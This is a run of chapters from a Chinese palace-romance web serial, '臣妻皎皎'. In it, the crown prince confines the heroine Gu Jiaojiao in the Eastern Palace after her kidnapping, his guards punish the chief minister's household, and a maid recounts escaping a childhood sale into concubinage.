直到德高望重的李太医说,顾皎皎只是暂时昏迷,所受之伤也没有大碍,沈云祉这才放心的让他们去开方子。 沈云祉一直守着顾皎皎,但门外的双瑞与双剑却有些担心。 “殿下此次带顾姑娘入宫,未瞒城门守卫,也未瞒宫侍女宫人,只怕要引起风波。” “不知有多少人对殿下这个位置虎视眈眈,如今殿下还未成婚,就将宫外女子带入宫中,也是会落人话柄的。” “我们也劝不了,不如去找王爷?” “你敢你去吧。” 二人谁都不敢,而这样担忧,也只是他们而已,他们不知道的是,沈云祉要做的不仅仅如此。 顾皎皎是在第二日清晨醒过来的。 头上缠着纱布,微微疼痛,她缓缓睁开眼,看着眼前的情景,心里不禁一紧。 昂贵的月影纱,锦绣绸缎的被子,就连枕着的枕头都是金线密织的。 这个地方,顾皎皎熟悉。 东宫。 她想要起身,但侧身之时,却看到了伏在床榻边的人。 沈云祉的头发微微凌乱,却丝毫不影响他那张好看的脸,他大抵是困的紧了,才会在此时睡着。 他轻闭着双眼,睫毛很长,高挺的鼻梁,轮廓分明的脸,都似是雕刻出来的一般。 他睡着时,不像醒着那般无赖,更多了几分沉稳,只是眉宇间的疲惫,也让人觉得心疼。 顾皎皎不自觉的伸出手,冰凉的指尖轻轻触及他的鼻尖,只这一下,便将睡着的人惊醒。 出于本能的,沈云祉握住了顾皎皎的手,微微用力。 顾皎皎忍不住‘嘶’了一声,他才反应过来,立即将她松开。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十四章 他的话,便是规矩 “好些了吗?可有哪里不舒服?” 沈云祉一改往日的随意,幽深的眸子里满是担忧和郑重。 顾皎皎低头看了看自己的身上,她的衣衫被换过,头上的珠钗饰物都已不见,可见是沈云祉用心过后的结果。 “臣女已无事,还要劳烦殿下送臣女出宫。” 顾皎皎深知,他又一次救了自己,可她不能在东宫久留,不然只会给她带来麻烦。 沈云祉看着她,神色确实好了许多,也稍稍安心不少。 “既然无事,那便好好休息,我还要去上朝,你不必起来。” 他似是没有听到她的话一般。 在沈云祉站起身时,有两名宫女从外面走了进来。 “她们是专门侍候你的,有什么跟她们说就好。” 他也不等顾皎皎再说什么,便转身向外走去。 “沈云祉,我不能在这里……” 顾皎皎低吼出声,可那人根本连头都没有回。 那两个侍女也是心里一惊,她们在宫中侍奉的日子也不短了,还是第一次听有人唤太子殿下的全名。 “奴婢无意。” “奴婢云舒,见过姑娘。” 两名侍女异口同声的说道,像极了提前练习过一样。 顾皎皎面露尴尬,勉强的扯了扯嘴角。 “去留无意,望天上云卷云舒,好名字。” “回姑娘,奴婢二人的名字是殿下赐的,殿下说姑娘喜欢随意的日子,便赐了奴婢二人这个名字。” 云舒立即上前答话。 顾皎皎还是忍不住心里一紧,他是懂她的,也不想会是如此在意她的想法。 “姑娘刚刚醒,太医叮嘱要用些膳食,奴婢们给姑娘备了些清淡的,姑娘不妨用些吧。” 云舒再次开口询问。 顾皎皎微微点头,便准备从床榻之上下来,却被上前的无意拦了下来。 “姑娘还伤着,不必下来。” 说着,无意便吩咐其他人将餐食摆到了床榻边上。 顾皎皎被吓到了。 “这,这到底是太子殿下的寝宫,在床榻旁的用膳怕是不合规矩,我还是……” “姑娘不必担心,这都是殿下吩咐的,殿下也说了,他说的话,便是规矩。” 无意答话。 顾皎皎尴尬的扯了扯唇角。 这沈云祉好似她肚子里的蛔虫,什么都想到了,也什么都交代了。 其实顾皎皎这次伤的不重,相比上一次简直算不上伤,可她还是被沈云祉‘圈禁’起来了。 自然,她也并不知道,沈云祉还可以为她做了什么。 首辅府。 首辅看着眼前的人,不由得眉头紧皱,威严之上更带着怒气。 “你说你要在我首辅府拿人?是太子的意思?” 首辅似是不有听清刚刚那人的话,又重复了一遍。 而在首辅身边的赵蕴苎更是一脸不屑。 “这里可是首辅府,即使是皇上理朝政之时,也不曾上门拿人,就算太子是未来储君,也莫要欺人太甚。” 赵蕴苎高傲,所说出来的话也与她的身份相匹配。 而此时,他们面前的双剑也终于开口。 “首辅大人误会了,属下并非是奉命来拿人,而是杀人。” “放肆,谁给你的胆子?” 首辅劳苦功高,历任两朝,每一任皇上都是敬着他的,而这沈云祉却如此行事,让他怎么能不发火? “大人莫要动气,依太子所言,大人不如先问问赵姑娘昨日都做了什么。” 双剑站在院中,他的身后跟着的并非是皇宫里的侍卫,而是沈云祉的亲卫,个个好身手。 首辅侧目,将目光落到赵蕴苎脸上。 赵蕴苎自是不会承认,高昂着头。 “我近来一直在府中,甚至连门都没有出过,能做什么?” “昨日太子殿下亲自去救了顾姑娘。” 双剑毫不犹豫的说道。 赵蕴苎脸色微变。 “你做了什么?” 首辅在朝堂摸爬滚打这么多年,早就练就了一般本事,只凭这三言两语,他已然意识到不对。 赵蕴苎不敢违逆首辅,只好低声开口。 “我,我不过就是让人绑了那顾皎皎。” 她说的轻描淡写。 如果只是绑了,给些教训,沈云祉也断然不会派人闯入这首辅府,这一点,首辅还是清楚的。 只是,现在当着双剑一行人的面,首辅还是要护着赵蕴苎一些的。 “原来是苎儿做错了事,如此,老夫稍后便会派人去向那位顾姑娘致歉,再给予补偿,女儿家闹些矛盾也不是什么大事,倒也不必如此兴师动众。” 按常理而言,首辅这也算是退了一步了,可双剑没有接到妥协的命令。 “贵府千金命人绑了顾姑娘,并强调要毁了顾姑娘清白,大人,这便不算是普通的矛盾,那伙人昨日已被殿下下令处死,殿下的意思是,不可放过一个。” 双剑目光坚定,从始至终脸上都没有什么表情。 听到这话,赵蕴苎还是不禁后退了两步。 她之前是听闻过沈云祉素来狠辣,可她从未见过,却不想今日倒是让她见识到了。 “我是未来太子妃,太子竟然会为了一个商户之女而动我的人?你们真是太过分了。” “正因为赵姑娘是未来太子妃,所以殿下只是处置那些办事的人。” 双剑说的坚定,这也意味着,若是没有这层关系,今日倒在血泊中的便可能是赵蕴苎这个主谋了。 赵蕴苎脸色发白,眼中也流露出恨意。 “你……” “够了。” 首辅厉声制止赵蕴苎再说下去,而后瞪着她。 “将那几个人交出来。” 赵蕴苎纵心有不甘,却也只得照做。 不久后,那五名侍卫便来到了院中。 这些人都是在首辅府服侍多年的人,正因为做事利落,才能得到赵蕴苎的重用,可今日过后,他们便会消失。 “太子殿下也交代了,如若首辅大人公正严明,那属下便将这些人带出去杀,不会脏了首辅府。” 双剑抱拳行礼,抬了抬手,后面的亲卫便将那几人带走了。 “叨扰了,告辞。” 双剑转身离去。 首辅目光凌厉,他为官这么多年,还是第一次有人敢在他府中往出带人。 自然,这也少不了赵蕴苎的功劳。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十五章 永不为妾 首辅看着双剑将人带走,而后冰冷的目光也落在赵蕴苎身上。 “这就是你做的好事?我们赵家的脸都被你丢光了。” “祖父,此事也不能怪我,那顾皎皎出身低贱,却是个狐媚的,近来外界的传言您没有听到吗?沈云祉如此放不下她,我这个太子妃当得也没什么意思。” “你为的是沈云祉吗?你别以为我不知道你那点小心思。” 首辅直接拆穿赵蕴苎的想法。 沈云祉与多少女子传出怎样的闲言,赵蕴苎根本不在乎,她所在乎的人是杜玉荣。 听闻杜玉荣为顾皎皎醉酒,当众求亲,只这一点,就中心让赵蕴苎发狂了。 她与杜玉荣相识多年,在她看来,杜玉荣一直是一个冷静自持,绝不会行差踏错之人,可他竟为了顾皎皎失了分寸。 赵蕴苎无法接受。 “沈云祉是个什么性子,你今日也看到了,日后小心行事吧。” 说着,首辅便欲离开。 “祖父,此事就这样算了吗?那几个人可是我们首辅府的人,难不成沈云祉还真敢杀了他们?” 赵蕴苎终究是不甘心的。 首辅停下脚步,冷哼出声。 “怎么?你还想让沈云祉将尸体给你送回来?” 首辅与沈云祉接触的时间不短了,也慢慢发现,这位太子,可不是什么任人摆布之人。 “那他沈云祉就没错吗?还未成婚,他便与其他女子牵扯不清,那日后……” “日后他会有三宫六院,日后他身边女子无数,你占着一个正妻的位置,就该有容人的雅度。” 首辅打断她的话,而后拂袖而去。 赵蕴苎在廊下站了许久,她不怕沈云祉,也不怕将来的后宫争斗,她现在怕的是,杜玉荣知道此事。 她自也是怪那些人办事不力的,但人都已经死了,也是无处发泄这股怒火。 皇宫。 沈云祉下朝后,便回了东宫,有一些要单独上奏的大臣都被他打发了。 顾皎皎在床榻上躺的身体发麻,便下来走动走动,不过,她也只能在这间屋子里,只要到了门口,都会被门外的宫人拦回来。 她没有问,但也猜得到,是沈云祉的意思。 正在此时,她听到外面的动静,随后沈云祉便走了进来。 “怎么不躺着?好些了吗?” 看到顾皎皎还有些苍白的脸,沈云祉神色担忧的走了过来。 顾皎皎却没什么好脸色。 “殿下还要将臣女关多久?” 她的声音不大,但对离开这里却很是执着。 “我不准备放你离开了。” 见她没事,沈云祉松了一口气,转身坐到软榻之上,唇角袭上一抹淡淡的笑意。 他说的太过轻松,轻松到顾皎皎以为自己听错了。 “你说什么?” “上一次,就不应该放你出去,不然你也不会受伤,这一次,你就留在宫里,你放心,我定会给你一个位份。” 他微昂着头,眼中的光芒晦暗不明,让人猜不透他的真实想法。 顾皎皎眼睛瞪的老大,不可思议的盯着眼前的男子许久。 他贵为太子,身份不提,只凭他这张脸,这样的行事作风,想要什么样的女子没有?可他偏偏…… “我不同意。” 顾皎皎负气坐到一旁。 “我没有跟你商量,是通知你。” 沈云祉笑的灿烂,半眯起眼,又是那副无赖的模样。 顾皎皎在心底暗暗沉下一口气,让自己冷静一点。 片刻后,她看着沈云祉,再次开口的语气也柔和了几分。 “沈云祉,你是太子,我知道你这场婚姻是为了稳固自己的地位,可也正因为这样,你才要更谨慎一些,毕竟前朝与后宫紧密相连。” 她停顿了一下,看了一眼外面,才又继续说道。 “你看你这东宫,人多眼杂,若是我在这里的消息传出去,想必首辅大人也不会善罢甘休。” 她语重心长,只是为了劝说沈云祉改变主意。 沈云祉眉眼俱笑,饶有兴趣的打量着她。 “你啊,太过精明,若不是了解你,我还真的会以为你是为我着想。” “我本来就是为你着想,你……” “你所担忧的事已然发生了,从我带你入皇宫的那刻起,我便没想瞒着别人,所以,你的这个理由没用了。” 沈云祉打断了她的话。 顾皎皎一时不知该说些什么,半晌,才压着情绪再次开口。 “这里是你寝宫,你还未成亲,我便住在这里,别说是皇宫,就算是普通人家也是不合规矩的。” “顾皎皎,你头痛吗?” 沈云祉顾左右而言他,伸手轻挑她乌黑的长发。 她带着妆容时,犹如盛放的玫瑰,娇艳带刺,美艳动人,而如像现在这般,不施粉黛,却也会让人怦然心动。 他的目光里有炙热,也有柔情,想用尽所有力气来保护眼前的女子。 但,顾皎皎躲开了他的手,侧身离他更远了一些。 “沈云祉,我跟你说过,我永不为妾。” 她终是忍不下去了,面色也恢复了清冷。 “那是你的想法。” 沈云祉几次见到她受伤,也时时刻刻知道顾皎皎的处境有多艰难,他不会放手。 “你是要强迫我吗?” 顾皎皎音调都不自觉的提高了几分。 看着沈云祉那无所谓的态度,顾皎皎故意显露出嘲讽的目光。 “或者说,殿下愿意将太子妃的位置给我?” “你与杜玉荣走的过近,也是为了正室之位吗?在你心里,感情远胜过名位吗?” 沈云祉问出这个问题的时候,不只是因为心里有气,更多的是他也想确定顾皎皎的想法。 “没错,我在意,殿下不在意是因为你自出生起便有荣耀的身份,就算是当初的小云南王也是让人礼敬三分的。” 顾皎皎扯动嘴角,斜睨了一眼沈云祉后便继续道。 “所以,殿下是站着说话不腰疼,而在我看来,杜大人的正妻也比太子殿下的妾室高贵许多。” 这句话,终是激怒了沈云祉。 他愤然起身,瞪着顾皎皎的目光里满是怒火,但他在向她伸出手的那一刻,他又将手缩了回来。 “你安心养伤。” 最后,沈云祉丢下这句话后离开了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十六章 私相授受 顾府。 顾皎皎被带入皇宫,沈云祉派人给顾府的人传过信,众人也安心了不少。 这是顾昭第一次遇到这样的事,之前也不曾想过,会有人如此心狠手辣。 “他们为什么要那样对阿姐?是阿姐欺负过他们,还是挡了他们的财路?” 顾昭知道整件事的来龙去脉,不是有人告诉他的,而是偷听到的。 莺儿和馨儿互视一眼,两个人都面露难色。 她们要怎么向一个孩子解释,顾皎皎什么也没有做错,甚至与那些人都没有牵扯呢? “公子,此事说来复杂,也不能简单的说对错。” 莺儿低声宽慰着。 “所以,阿姐根本就没有错。” 顾昭似是只是想得到一个答案,是与他这个年纪并不相符的答案。 莺儿一时无言。 “没错,姑娘什么都没有做错,但这世界上就是有些人心思恶毒,他们见不得别人好。” “馨儿。” 馨儿直言快语,莺儿不禁提醒着她,毕竟,顾昭还只是一个孩子。 “莺儿姐姐,小公子虽是个孩子,但却也是通透之人。” 馨儿看向顾昭,又低声说了下去。 “公子,你也看到了,姑娘每一步都走的极为艰难,而这些年全是靠她一个人支撑着顾家,待你日后长大,一定要做她的靠山。” 这个道理,顾昭是懂的。 就像他初识顾皎皎时,从别人口中所听到的顾皎皎的为人,也极为不好,只有他这段时间亲自相处下来,才知晓真相。 顾昭重重的点头。 正在此时,一名小厮的声音从门外响起。 “莺儿姐姐,杜大人来了。” “看吧,姑娘出事,好像与他们这些人都没有关系一样。” 馨儿气愤的说着,便欲出门,却被莺儿一把拉住。 自从馨儿回到顾府后,莺儿都显得稳重了许多。 “别胡闹,我去就好,你陪着公子。” 莺儿将馨儿按下后,才走出了屋子。 此时,杜玉荣就站在院中,神情落寞,自责之情也溢于言表。 莺儿迟疑了一下,还是走了过去。 “不知杜大人前来,有失远迎,只是姑娘不在府中。” 莺儿礼貌周到,但也让杜玉荣的心沉到谷底。 “我知道。” 他一直都知道,从顾皎皎被救便被沈云祉带进了皇宫,以他对沈云祉的了解,是不会轻易放她回来的。 “我来,只是想问问,可有顾姑娘的消息,她伤势如何?” 杜玉荣显得极为谦和。 “有劳杜大人挂心,姑娘伤的不重,日益好转。” 莺儿微低着头,轻声答着。 杜玉荣稍稍放心。 “她既在皇城里养伤,我也不便前去探望,想来她是挂念家中幼弟,这些时日,我便常过来照看昭儿功课。” 他想等她回来,想亲自看到她平安无事,才能安心。 莺儿缓缓抬起头,脸上挂着淡淡的笑。 “杜大人之前便一直帮公子指导功课,姑娘心里已然过意不去,奴婢自不敢自作主张让杜大人留下,不如等姑娘回来再说吧。” “我也只是想为她分忧。” 杜玉荣听出了莺婉拒的意思,但再次强调自己的心意。 若是从前,莺儿也会应下,毕竟她也清楚,杜玉荣确实帮了她家姑娘不少,但现在,与以往不同了。 “大人既知道姑娘身处皇城之中,想必也知道她为何遇险吧?” 莺儿突然询问,倒是让杜玉荣一怔。 半晌,他才缓缓点头。 他当然知晓。 “我们姑娘性子不算温和,但却也从来是人不犯我,我不犯人,她与赵家姑娘从未有过过节,甚至还屡次避让,但却还是遇到子这场横祸,想来杜大人也知是为何吧?” 莺儿看着杜玉荣,每一个字都说的清楚,意思也极为明白。 杜玉荣是谦谦君子,向来行事光明磊落,唯有这件事,他极为自责。 “我知道,是我原因,待她回来我也定会向她解释,也绝不会让这种事再发生。” 他说的坚定,更像是自己暗暗下了某种决心。 只是这样的话,在莺儿听来有些多余。 “我本是一个侍女,有些话本不该说,但今日既说到此处,那奴婢便也多句嘴,为着杜大人,赵蕴苎已经不只一次为难我家姑娘,轻则辱骂,重则也动过手,杜大人可有制止的方法?” 莺儿停顿了一下,调整了一下自己的情绪后,才继续说了下去。 “大人屡次靠近,也给姑娘多次带来伤害,姑娘知并非大人本意,所以从未怪罪,但这一次,差点要了姑娘的命,大人也该为姑娘想想。” 听着这些,杜玉荣自然是感觉无地自容的。 我不杀伯仁,伯仁却因我而死,便就是这样的道理。 “刚刚杜大人也说了,姑娘如今最放心不下的便是小公子,她想保护的也是小公子,可如若是因为大人在此,公子再受到伤害,那真真是要了姑娘的命。” 莺儿目光坚定。 现在也不是婉拒了,而是明确的告诉杜玉荣,望他离顾府远一些。 杜玉荣已经许久未说话,但脸色却越来越不好。 空气一下安静下来,周围只是冷冷的风声。 良久,杜玉荣才缓缓开口。 “我知是我的错,可情之所至,我不愿就此错过。” “人们常说婚姻大事,父母之命,媒妁之言,杜大人如此执着,杜家长辈可曾点头?” 莺儿的言语一下尖锐了许多,她迎着杜玉荣的目光,又补了一句。 “大人要知道,大人醉酒胡言,又没有父母同意,那便是私相授受,最后被骂的依旧是我家姑娘。” 杜玉荣还是离开了顾府。 莺儿的话已经说到那个份上,他自是无颜再留下去,不过,于他而言,并非放弃,而是在寻求解决问题的办法。 皇宫。 云南王听说了有关沈云祉带女入宫之事,他本未放在心上,却不曾想,首辅大人进宫了。 首辅未去东宫,而是直接去见了云南王。 表面上是说,带了好酒与云南王分享,但真实目的,云南王也猜出不少。 “首辅大人有话不妨直说。” 酒过三巡,云南王也不再绕弯子,直接询问。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十七章 不敢什么不敢 “关于太子殿下带一女入宫之事,想必云南王已经听说了。” 首辅终于还是开口了。 云南王并不意外,此事闹得沸沸扬扬,就连言官都已经上了折子,自是影响不小。 “自是知晓,首辅大人介意?” 云南王带着询问的语气。 一位是在朝多年的宰辅,另一位则征战沙场,驻守边关的王爷,二人之间的对话,自然是饱含深意。 “云南王说笑了,太子殿下是储君,便是未来的君王,三宫六院,后宫嫔妃众多,我又怎会因一女子而介意。” 首辅大笑着,表现着自己的宽容大度,但紧接着便又说了下去。 “只是,太子殿下为了此女子先是闯平王府,后又来老臣的府中打打杀杀,这般女子,云南王觉得于殿下而言是好的吗?” 首辅来此自有他的道理,但无论他抱有什么样的目的,他都所言非虚。 “首辅大人此言,本王确实不知晓。” 云南王眉头紧锁。 他与王妃恩爱异常,却也唯得一子,当初想着,这个儿子最终都是要继承云南王位的,便也想着让他自由些,不曾约束于他。 但如今看来,沈云祉性子过于执拗,又有自己的主意,很难劝说。 “我也是才听说,我那个孙女行事偏激,惹出这种麻烦,我原也想着,给她一些教训也未尝不可,却不想又听到此事。” 首辅面色凝重,一副很为沈云祉着想的样子,便又说了下去。 “若那女子家世清白,门当户对也就罢了,殿下喜欢留于宫中也无妨,可偏偏……” 他没有再说下去。 顾皎皎乃是商户之女,连农户之女都不及,更别提什么门当户对了,更让人无法接受的是,她曾为人妻,虽已和离,却也难入皇宫。 云南王何尝不知道这其中的利害关系。 沈云祉这太子之位本就有人虎视眈眈,再出这等事,那可谓是名声尽毁了。 “首辅大人担心之事,也正是本王所担忧,只是祉儿的性子您也知道,不过还请大人放心,我定会好好规劝。” 云南王表明自己的态度。 首辅的目的便达到,他也没想过谁能让沈云祉改变主意,只要云南王施压,终归会有些用处。 东宫。 顾皎皎站在门口处,望着眼前的宫殿。 这里只是沈云祉的寝宫,却也一眼望不到头,院子中有来来往往的宫,人数极多。 哪怕是冬季里,这院子里也并不萧瑟,甚至还会给人一种华丽的感觉。 这便是皇家,用银钱堆砌出来的皇家,自是金碧辉煌,让人生畏,也让人向往。 历朝历代,不知道有多少女子为了踏足这座宫殿而不择手段,可如今身在其中的顾皎皎却一直是满面愁容。 “姑娘,门口风大,去里面吧。” 云舒走过来,站在她的身后,轻声说道。 顾皎皎收回思绪,笑了笑,转身走回殿内。 “姑娘已经一整日没有吃东西了,您伤还未好,用些糕点吧。” 云舒劝着。 顾皎皎看了一眼那些糕点,却直接略过,走到软榻之上坐下。 “沈云祉若是不放我离开,我是不会吃东西的。” 这是她能想到的,唯一与沈云祉对抗的方法。 云舒微低着头,没敢说什么。 这丫头也是不懂,人人向往这皇城里的生活,可为何顾皎皎如此执拗? 何况,这东宫里的人谁看不出来,太子殿下对这位顾姑娘是极好的,即使是为妾室,怕也是别人的无法比拟的。 见那丫头不说话,顾皎皎抬头看了她一眼。 “所以,即使我不吃东西,他也不肯放了我?” 一整天了,沈云祉自离开后便再也没有过来,她以不吃反抗,定是有人向他汇报过的,可也依旧没什么动静。 “回姑娘,殿下说,让姑娘你死了出宫的心吧。” 一句话,云舒说的磕磕绊绊。 顾皎皎咬了咬牙,终究是一个字也没有说出来。 正在此时,无意从外面走了进来,手里拎着一个包裹。 她向顾皎皎行了礼后,便将包裹打开。 “姑娘,这是殿下欲送去顾府的,命奴婢过来给你看看,是否有什么不妥的地方。” 无意低声说着。 那包裹里有上好的文房四宝,笔墨纸砚,还有一些机关玩具,倒不像之前有那般多的补品,更多的孩童所用。 这是沈云祉给顾昭的。 顾皎皎看着那些东西,心里更加烦躁。 “你去告诉他,我顾府什么都不缺,用不着他献殷勤。” 这普天之下,能说太子殿下‘献殷勤’的,恐怕也只有顾皎皎一人了。 “姑娘这话奴婢不敢传,既然姑娘觉得没有不妥,那奴婢就命人送出宫了。” 无意眨巴着一双无辜的大眼睛,说的极为可怜。 顾皎皎不想要沈云祉的东西,眼珠一转,伸手但欲将那些东西扫落在地。 可无意却似是早就知道她要做什么一般,整个身体扑上来,直接将那些东西护在怀中。 顾皎皎没有收住手,指尖划过无意的脸颊,瞬间留下一道血痕。 嘶。 无意也只是轻微出声,还紧紧的护着那些东西。 “你,你怎么不躲啊,东西重要,还是自己重要?” 顾皎皎也吓了一跳,看着那张本白净的脸上多了一道明显的伤痕,她也自责不忆。 “太子殿下说了,如若东西损坏,便从奴婢的月例银子里扣,这些东西都价值连城,奴婢……” 无意不在意那点小伤。 顾皎皎站起身,看着这丫头还护着那些东西,无奈至极。 “好了好了,我答应你不动那些东西,过来,我看看。” 顾皎皎想去拉无意。 无意立即躬着身子后退两步。 “奴婢无事,奴婢不敢。” “不敢什么不敢,赶紧过来。” 顾皎皎干脆直接上前拉住了这丫头的手腕,直接走到内室。 无意脸上的伤痕不深,但那长长一道疤痕确实是显眼。 “应该不会留疤,只是还需要尽快用药才好,云舒,去传太医。” 顾皎皎话音落下,云舒却面露难色,站在原地未动。 “姑娘,传不了太医。” 云舒有些为难的说道。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十八章 何尝不是一个笑话 皇宫里的婢女是没有资格请太医的,平时有伤有痛,也只是去太医院拿些药而已。 那些太医是给贵人们准备的。 “姑娘不必放在心上,只是一点点伤,过几日便好了,也不会留下疤痕。” 无意扬起笑脸。 她们在宫中为奴为婢,时常被打骂也是常有的事,自是不会将这样的小伤放在心上,何况她也知道顾皎皎并不是有意的。 “如今冬日寒冷,不抓紧用药,会伤的更重。” 顾皎皎说着,而后低下头看着自己雪白手臂,不等身旁的两个侍女反应过来,她长长的指甲便在手臂上留下一道印迹。 “姑娘。” “姑娘。” 无意与云舒两个丫头齐齐惊呼出声。 顾皎皎却笑着挑了挑眉毛。 “还不快去传太医?” 云舒立即反应过来,重重点头后,转身跑了出去。 很快,太医便来了。 太医来了,沈云祉便也来了。 “顾姑娘的伤势不重,待臣开些药涂抹两日便好。” 李太医向沈云祉汇报着。 沈云祉点了点头,将屋子里的下人都打发了出去。 “怎么?绝食不管用,便开始自残了?” 沈云祉坐在床榻边,半开着玩笑。 他看过顾皎皎手臂上的伤口,那明明是她自己造成的。 “太子殿下也太看得起自己了,臣女再不堪,也不会伤害自己。” 顾皎皎瞪了沈云祉一眼,便将头转向一边,不再看他。 “你有这份心性,我就放心了,既是不小心造成的,那就好好养着,再有下次,我会将你屋里的奴婢杖毙。” 沈云祉玩味的说着这些,听上去像是在开玩笑。 顾皎皎转头看着他,却在他的眼中分明看到了一丝阴狠。 “沈云祉,你疯了吧?” “你啊,总要习惯宫中的生活。” 沈云祉说的理所应当。 他看着她,目光中依旧带着柔情与炙热,抬手轻抚她的脸颊,动作轻柔。 “留在这里,留在我身边,我会保护你。” 他好听的声音意外的出现了些许恳求的意思。 他眸子深邃,顾皎皎就这样看着他,有那么一刻,她也想过,是否可以不顾一切留下来。 但很快,这个想法就被她清除掉。 她侧了侧头,躲开沈云祉温热的手,脸上的温柔散去,被一抹清冷所取代。 “太子殿下给不了我想要的,我也无法助殿下成就大业。” 她恢复了往日的坚决,好似刚刚的那股动摇只是沈云祉的错觉。 他低垂下眼眸,唇角袭上一抹苦笑。 “你如此在意名位,即使是为了我,也不肯妥协吗?” 这话是刺痛了顾皎皎的。 她放在身侧的手,不自觉的握紧云锦的被子。 是啊,她会因为他娶别的女子难过,心痛,悲伤之时,还会责怪于他,可是,她也不曾为了他放弃心中的执着。 “对,我不会为了你妥协,你也不会为了我放手,我们都是一样自私的人,如此两个人绑在一起,何尝不是一个笑话。” 顾皎皎说的太过直白,但这就是他们如今的处境。 儿女私情,于大业之上,终究是算不得重要。 沈云祉也在此时站起身,居高临下的看了她一眼。 “你心情不佳,我改日再来看你。” 说完,他便离开了。 他就不该来,不该过来听她说这些伤人的话。 他顶着所有的压力,只是想将她留在身边,即使不能举案齐眉,也想要相扶一生,可她,从不体谅他的用心,只会拒人于千里。 沈云祉是怒气冲冲走的。 无意与云舒两个丫头进来时,却并未在顾皎皎的脸上看出异样。 “姑娘,你还好吧?” 云舒小心的询问着。 顾皎皎笑了笑,指了指桌上的药膏。 “快,将那药膏给无意涂抹上,太医刚刚留下的,定是管用的。” 云舒也拉着无意坐下,将那药膏轻轻涂抹在她的脸上。 顾皎皎从床榻之上下来,对于自己所做的这件事很是满意。 只是不一会儿,无意就哭了起来。 “怎么了?可是涂上药太疼了些?” 顾皎皎有些意外。 无意则不停的摇头。 “只是,只是从小到大都没有人对奴婢这么好过,奴婢……呜呜。” 这丫头哭的声音更大了。 顾皎皎看了一旁的云舒一眼,不禁笑出声。 “我在宫外也有两个侍女,其中一个年纪不大,身手极好,就是爱哭,倒是跟你很像。” 听到这话,无意哭的声音更大了,还说了一些自己的经历。 像无意和云舒都是自幼进侍奉的,云舒好些,只是因为家里穷苦些,她也是无奈才入宫的。 但无意便要惨一些。 无意家中有两个弟弟,爹娘不看重她这个女儿,自她记事起,便缺衣少食,难是难些,但也可以活下来。 “我八岁时,爹娘给我定了一个亲事,开始我只以为像村子里的习俗一样,是一桩娃娃亲,但很快我便得知,是给镇上一个有钱的老爷做姨太太。” “八岁?姨太太?” 顾皎皎还是忍不住惊呼出声,她是完全不相信这样的事的。 无意重重的点头。 “我听村里的人说闲话,那家老爷专挑年纪尚幼的女娘,入他府里的最大的也不过十一二,只是那些女孩子没有一个活下来的。” 当时的无意很害怕,她逃过,但又被她父亲抓了回来,那一次她被打的很惨,她的爹娘也告诉她,再等两年,就会将她送到那个老爷家中。 从那天起无意便被家中人看管着,有时还会将她绑住,她那两个弟弟更是不停的嘲笑她,欺负她。 “那时,我听得最多的一句话便是,你只是一个女娃,能被卖掉赚银子让我们的日子过的更好,这是多好的事,你怎么就不知足呢?” 现在说起无意的眼中还带着惊恐,幼年留下的阴影怕是会跟随她一生。 “那你又是如何进宫的?” 顾皎皎低声询问,语气里都是悲伤。 “是两年后了,我爹娘真的带着我去了镇上,说是娶亲,却是想偷偷摸摸的将我塞进那个院子,也许是我命大,那天那家老爷突感身体不适,一时无法安排,便将我和爹娘安排到了一家客栈。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百八十九章 意欲何为 也许是已经到了镇上,马上就能拿到钱,无意的爹娘松懈了一些,无意也就趁夜间逃跑了。 她以乞讨为生,偶尔还会帮人做些杂事换一个馒头,她年纪小,人们也可怜她,常常会给她吃食与银钱,那段时日倒是比在家中过的还要好些。 无意这样的生活一过就是四五年,她去了很多地方,最后辗转到京城。 “今年宫中选人,奴婢想着,入宫虽然也是侍奉人,但总比宫外要安全一些,也不必风餐露宿,便入宫了。” 无意自入宫后,就由云舒带着,渐渐熟悉宫中的事务。 “你是今年才入宫的,就能在东宫服侍吗?” 顾皎皎有些好奇,毕竟东宫乃是储君的地方,按理说都会安排一些熟悉宫中的事务,又稳重的,怎么也不会让一个新人过来。 无意没有答,而是转头看了一眼云舒。 云舒坐在一旁,开口时还压低了声音。 “姑娘有所不知,殿下初登太子之位时,并不受宫中人待见,别说是大臣与皇室中人,即使奴婢奴才也觉得殿下坚持不了多久,所以,那些有些地位的宫人,也不愿来东宫。” 云舒所说的便是现实。 可在顾皎皎眼中,沈云祉一向是一个掌控一切的人,那些欺压都不该发生在他身上。 “所以,就算沈云祉入宫后,也会被欺负吗?” “姑娘有所不知,最初的两个月,东宫的下人根本无人用心做事,只想着给一些管事塞钱,能尽快离开东宫,而太子殿下也是屡次遇到刺杀,这东宫漏的跟筛子一样。” 云舒说着,似也是无奈,她在宫中做事的时间久一些,自然是见惯了宫中之人的嘴脸。 “宫中的人向来是拜高踩低,殿下要处理朝政之事,又要应付居心叵测之人,有几次都差点让那些贼人得手,最重的一次,那把匕首就从殿下的喉间划过,只差一点。” 这些,顾皎皎从来都不知道。 她当初也只是知道沈云祉在宫中不顺,有人欲取而代之,却不想他竟是会处在如此重围之中。 那段时日,他一定很难熬。 “也是那段时日过后,宫人们见识到了太子殿下的狠辣,他们才乖觉一些,好好当差,但殿下的身体却出了问题,茶饭不思,夜不能安,太医开了好多方子也不管用。” 云舒说着时,缓缓扬起嘴角,看向顾皎皎,才又说道。 “后来,还是姑娘亲手做的那些糕点和药膳,才让殿下好起来。” 顾皎皎扯动了下嘴角,目光微微躲闪。 “你们都知道糕点之事?” “不,殿下的贴身事务都是王公公打点的,奴婢知道此事,也是在姑娘入宫后听到殿下说起才知晓。” 云舒停顿了一下,而后谨慎的向顾皎皎询问。 “其实殿下是个很好的人,即使是入主东宫,但他的书房也只有两侍卫跟随,寝宫处也未设一个通房丫头,殿下对姑娘是真心的。” 无意在一旁也重重的点头。 这话倒是让顾皎皎想笑,而前这两个丫头也不过十几岁的年纪,哪里知道感情是极为复杂的。 “你们怕是收了沈云祉的好处吧?好了,不说这个了,我在宫中的时日不会太久,无意年纪小,又受过很多苦,云舒要多照顾一些。” 说着,顾皎皎便起身向内室走去。 “姑娘,时辰不早了,奴婢命人传膳吧。” 去舒在她身后喊道。 顾皎皎没有回头,只是摆了摆手。 “说不吃,就不吃。” 